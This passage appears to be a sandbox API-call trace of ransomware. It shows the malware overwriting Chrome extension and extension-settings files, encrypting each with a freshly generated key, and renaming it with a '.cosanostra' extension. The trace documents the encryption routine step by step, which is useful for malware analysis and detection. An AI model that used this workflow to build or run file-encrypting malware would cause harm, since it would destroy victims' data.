lpSrch=".txt") returned 0x0 [0087.388] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xfffff6bf, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0087.388] WriteFile (in: hFile=0x190, lpBuffer=0x301bb38*, nNumberOfBytesToWrite=0x941, lpNumberOfBytesWritten=0x28df89c, lpOverlapped=0x0 | out: lpBuffer=0x301bb38*, lpNumberOfBytesWritten=0x28df89c*=0x941, lpOverlapped=0x0) returned 1 [0087.389] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.389] WriteFile (in: hFile=0x190, lpBuffer=0x28df8dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df89c, lpOverlapped=0x0 | out: lpBuffer=0x28df8dc*, lpNumberOfBytesWritten=0x28df89c*=0x4, lpOverlapped=0x0) returned 1 [0087.389] WriteFile (in: hFile=0x190, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df89c, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x28df89c*=0x30, lpOverlapped=0x0) returned 1 [0087.389] CloseHandle (hObject=0x190) returned 1 [0087.389] wnsprintfW (in: pszDest=0x2ff2968, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_webrtc.js.cosanostra") returned 169 [0087.389] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_webrtc.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_webrtc.js"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_webrtc.js.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_webrtc.js.cosanostra")) returned 1 [0087.390] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df8d8 | out: pbBuffer=0x28df8d8) returned 1 [0087.390] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x28df8d0*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x28df8d0*=0x30) returned 1 [0087.391] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fil\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fil\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0087.391] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fil\\messages.json") returned 165 [0087.391] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0087.406] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0087.406] WriteFile (in: hFile=0x190, lpBuffer=0x301bb38*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x28df894, lpOverlapped=0x0 | out: lpBuffer=0x301bb38*, lpNumberOfBytesWritten=0x28df894*=0x2800, lpOverlapped=0x0) returned 1 [0087.407] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.407] WriteFile (in: hFile=0x190, lpBuffer=0x28df8d4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df894, lpOverlapped=0x0 | out: lpBuffer=0x28df8d4*, lpNumberOfBytesWritten=0x28df894*=0x4, lpOverlapped=0x0) returned 1 [0087.407] WriteFile (in: hFile=0x190, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df894, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x28df894*=0x30, lpOverlapped=0x0) returned 1 [0087.407] CloseHandle (hObject=0x190) returned 1 [0087.407] wnsprintfW (in: pszDest=0x2ff2968, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fil\\messages.json.cosanostra") returned 176 [0087.407] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fil\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fil\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fil\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fil\\messages.json.cosanostra")) returned 1 [0087.409] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df8d0 | out: pbBuffer=0x28df8d0) returned 1 [0087.409] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x28df8c8*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x28df8c8*=0x30) returned 1 [0087.409] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\et\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\et\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0087.409] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\et\\messages.json") returned 164 [0087.409] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0087.411] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0087.412] WriteFile (in: hFile=0x190, lpBuffer=0x301bb38*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x28df88c, lpOverlapped=0x0 | out: lpBuffer=0x301bb38*, lpNumberOfBytesWritten=0x28df88c*=0x2800, lpOverlapped=0x0) returned 1 [0087.412] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.412] WriteFile (in: hFile=0x190, lpBuffer=0x28df8cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df88c, lpOverlapped=0x0 | out: lpBuffer=0x28df8cc*, lpNumberOfBytesWritten=0x28df88c*=0x4, lpOverlapped=0x0) returned 1 [0087.412] WriteFile (in: hFile=0x190, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df88c, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x28df88c*=0x30, lpOverlapped=0x0) returned 1 [0087.412] CloseHandle (hObject=0x190) returned 1 [0087.412] wnsprintfW (in: pszDest=0x2ff2968, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\et\\messages.json.cosanostra") returned 175 [0087.412] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\et\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\et\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\et\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\et\\messages.json.cosanostra")) returned 1 [0087.414] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df8c8 | out: pbBuffer=0x28df8c8) returned 1 [0087.414] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x28df8c0*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x28df8c0*=0x30) returned 1 [0087.414] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\es\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\es\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0087.414] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\es\\messages.json") returned 164 [0087.414] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0087.532] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0087.532] WriteFile (in: hFile=0x190, lpBuffer=0x301bb38*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x28df884, lpOverlapped=0x0 | out: lpBuffer=0x301bb38*, lpNumberOfBytesWritten=0x28df884*=0x2800, lpOverlapped=0x0) returned 1 [0087.533] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.533] WriteFile (in: hFile=0x190, lpBuffer=0x28df8c4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df884, lpOverlapped=0x0 | out: lpBuffer=0x28df8c4*, lpNumberOfBytesWritten=0x28df884*=0x4, lpOverlapped=0x0) returned 1 [0087.533] WriteFile (in: hFile=0x190, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df884, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x28df884*=0x30, lpOverlapped=0x0) returned 1 [0087.533] CloseHandle (hObject=0x190) returned 1 [0087.534] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\es\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\es\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\es\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\es\\messages.json.cosanostra")) returned 1 [0087.537] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df8c0 | out: pbBuffer=0x28df8c0) returned 1 [0087.537] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x28df8b8*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x28df8b8*=0x30) returned 1 [0087.537] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\MANIFEST-000001" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\local extension settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\manifest-000001"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0087.537] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\MANIFEST-000001") returned 153 [0087.537] StrStrW (lpFirst="MANIFEST-000001", lpSrch=".txt") returned 0x0 [0087.539] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xffffffd7, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0087.539] WriteFile (in: hFile=0x190, lpBuffer=0x301bb38*, nNumberOfBytesToWrite=0x29, lpNumberOfBytesWritten=0x28df87c, lpOverlapped=0x0 | out: lpBuffer=0x301bb38*, lpNumberOfBytesWritten=0x28df87c*=0x29, lpOverlapped=0x0) returned 1 [0087.539] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.539] WriteFile (in: hFile=0x190, lpBuffer=0x28df8bc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df87c, lpOverlapped=0x0 | out: lpBuffer=0x28df8bc*, lpNumberOfBytesWritten=0x28df87c*=0x4, lpOverlapped=0x0) returned 1 [0087.539] WriteFile (in: hFile=0x190, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df87c, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x28df87c*=0x30, lpOverlapped=0x0) returned 1 [0087.539] CloseHandle (hObject=0x190) returned 1 [0087.539] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\MANIFEST-000001" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\local extension settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\manifest-000001"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\MANIFEST-000001.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\local extension settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\manifest-000001.cosanostra")) returned 1 [0087.540] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df8b8 | out: pbBuffer=0x28df8b8) returned 1 [0087.540] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x28df8b0*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x28df8b0*=0x30) returned 1 [0087.540] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\LOG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\local extension settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0087.540] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\LOG") returned 141 [0087.540] StrStrW (lpFirst="LOG", lpSrch=".txt") returned 0x0 [0087.541] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xffffff3c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0087.541] WriteFile (in: hFile=0x190, lpBuffer=0x301bb38*, nNumberOfBytesToWrite=0xc4, lpNumberOfBytesWritten=0x28df874, lpOverlapped=0x0 | out: lpBuffer=0x301bb38*, lpNumberOfBytesWritten=0x28df874*=0xc4, lpOverlapped=0x0) returned 1 [0087.541] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.541] WriteFile (in: hFile=0x190, lpBuffer=0x28df8b4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df874, lpOverlapped=0x0 | out: lpBuffer=0x28df8b4*, lpNumberOfBytesWritten=0x28df874*=0x4, lpOverlapped=0x0) returned 1 [0087.541] WriteFile (in: hFile=0x190, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df874, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x28df874*=0x30, lpOverlapped=0x0) returned 1 [0087.541] CloseHandle (hObject=0x190) returned 1 [0087.541] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\LOG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\local extension settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\log"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\LOG.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\local extension settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\log.cosanostra")) returned 1 [0087.542] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df8b8 | out: pbBuffer=0x28df8b8) returned 1 [0087.542] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x28df8b0*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x28df8b0*=0x30) returned 1 [0087.542] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\LOCK" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\local extension settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\lock"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0087.542] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\LOCK") returned 142 [0087.542] StrStrW (lpFirst="LOCK", lpSrch=".txt") returned 0x0 [0087.542] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.542] WriteFile (in: hFile=0x190, lpBuffer=0x301bb38*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x28df874, lpOverlapped=0x0 | out: lpBuffer=0x301bb38*, lpNumberOfBytesWritten=0x28df874*=0x0, lpOverlapped=0x0) returned 1 [0087.542] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.542] WriteFile (in: hFile=0x190, lpBuffer=0x28df8b4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df874, lpOverlapped=0x0 | out: lpBuffer=0x28df8b4*, lpNumberOfBytesWritten=0x28df874*=0x4, lpOverlapped=0x0) returned 1 [0087.543] WriteFile (in: hFile=0x190, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df874, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x28df874*=0x30, lpOverlapped=0x0) returned 1 [0087.543] CloseHandle (hObject=0x190) returned 1 [0087.543] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\LOCK" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\local extension settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\lock"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\LOCK.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\local extension settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\lock.cosanostra")) returned 1 [0087.544] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df8b0 | out: pbBuffer=0x28df8b0) returned 1 [0087.544] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x28df8a8*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x28df8a8*=0x30) returned 1 [0087.544] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\CURRENT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\local extension settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\current"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0087.544] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\CURRENT") returned 145 [0087.544] StrStrW (lpFirst="CURRENT", lpSrch=".txt") returned 0x0 [0087.545] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xfffffff0, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0087.545] WriteFile (in: hFile=0x190, lpBuffer=0x301bb38*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x28df86c, lpOverlapped=0x0 | out: lpBuffer=0x301bb38*, lpNumberOfBytesWritten=0x28df86c*=0x10, lpOverlapped=0x0) returned 1 [0087.545] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.545] WriteFile (in: hFile=0x190, lpBuffer=0x28df8ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df86c, lpOverlapped=0x0 | out: lpBuffer=0x28df8ac*, lpNumberOfBytesWritten=0x28df86c*=0x4, lpOverlapped=0x0) returned 1 [0087.545] WriteFile (in: hFile=0x190, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df86c, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x28df86c*=0x30, lpOverlapped=0x0) returned 1 [0087.545] CloseHandle (hObject=0x190) returned 1 [0087.546] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\CURRENT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\local extension settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\current"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\CURRENT.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\local extension settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\current.cosanostra")) returned 1 [0087.546] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df8b0 | out: pbBuffer=0x28df8b0) returned 1 [0087.546] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x28df8a8*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x28df8a8*=0x30) returned 1 